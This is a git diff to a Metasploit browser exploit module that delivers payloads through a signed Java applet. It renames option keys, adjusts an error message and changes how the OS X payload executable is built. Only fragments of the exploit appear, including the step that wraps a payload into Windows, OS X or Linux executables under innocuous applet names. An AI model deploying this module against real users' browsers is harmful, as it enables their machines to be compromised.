diff --git a/modules/exploits/multi/browser/java_signed_applet.rb b/modules/exploits/multi/browser/java_signed_applet.rb
index 83a23df91b..d407609629 100644
--- a/modules/exploits/multi/browser/java_signed_applet.rb
+++ b/modules/exploits/multi/browser/java_signed_applet.rb
@@ -94,9 +94,9 @@ class Metasploit3 < Msf::Exploit::Remote
 			))
 			register_options( 
 				[
-					OptString.new(     'CertCN', 	[ true, "The CN= value for the certificate.", "Metasploit Inc." ]),
-					OptString.new( 'AppletName',	[ true, "The main applet's class name.",      "SiteLoader"		]),
-					OptString.new('PayloadName',	[ true, "The payload classes name.", 	      "SiteSupport" 	]),
+					OptString.new(     'CERTCN', 	[ true, "The CN= value for the certificate.", "Metasploit Inc." ]),
+					OptString.new( 'APPLETNAME',	[ true, "The main applet's class name.",      "SiteLoader"		]),
+					OptString.new('PAYLOADNAME',	[ true, "The payload classes name.", 	      "SiteSupport" 	]),
 					
 					# Not implemented yet.
 					#OptString.new('PACKAGENAME',	[ true, "The package name for gen'd classes.","x"		]),
@@ -122,7 +122,7 @@ class Metasploit3 < Msf::Exploit::Remote
 		if not @jvm_init
 			print_error
 			print_error "JVM not initialized. You must install the Java Development Kit, the rjb ruby gem, and set the $JAVA_HOME variable."
-			print_error "Falling back to static signed applet.  This exploit will still work, but the CertCN and AppletName variables will be ignored."
+			print_error "Falling back to static signed applet.  This exploit will still work, but the CERTCN and APPLETNAME variables will be ignored."
 			print_error
 			@use_static = true
 		end
@@ -341,7 +341,7 @@ public class #{datastore['APPLETNAME']} extends Applet
 		}
 	}
 }^
-		appletcode = { 	'classnames' => [ datastore['AppletName'] ] ,
+		appletcode = { 	'classnames' => [ datastore['APPLETNAME'] ] ,
 						'codefiles'  => [ appletsource			] }
 
 		return appletcode
@@ -379,7 +379,7 @@ public class #{datastore['APPLETNAME']} extends Applet
 						opts = { :template => datastore['Template'], :insert => datastore['InsertPayload'] }
 						data = Msf::Util::EXE.to_win32pe( framework, payload.encoded, opts )
 					end
-					data = Msf::Util::EXE.to_osx_x86_macho( framework, payload.encoded, opts ) if target['Platform'] == 'osx'
+					data = Msf::Util::EXE.to_osx_x86_macho( framework, payload.encoded ) if target['Platform'] == 'osx'
 					data = Msf::Util::EXE.to_linux_x86_elf( framework, payload.encoded ) if target['Platform'] == 'linux'
 		
 				elsif target['Arch'] == ARCH_PPC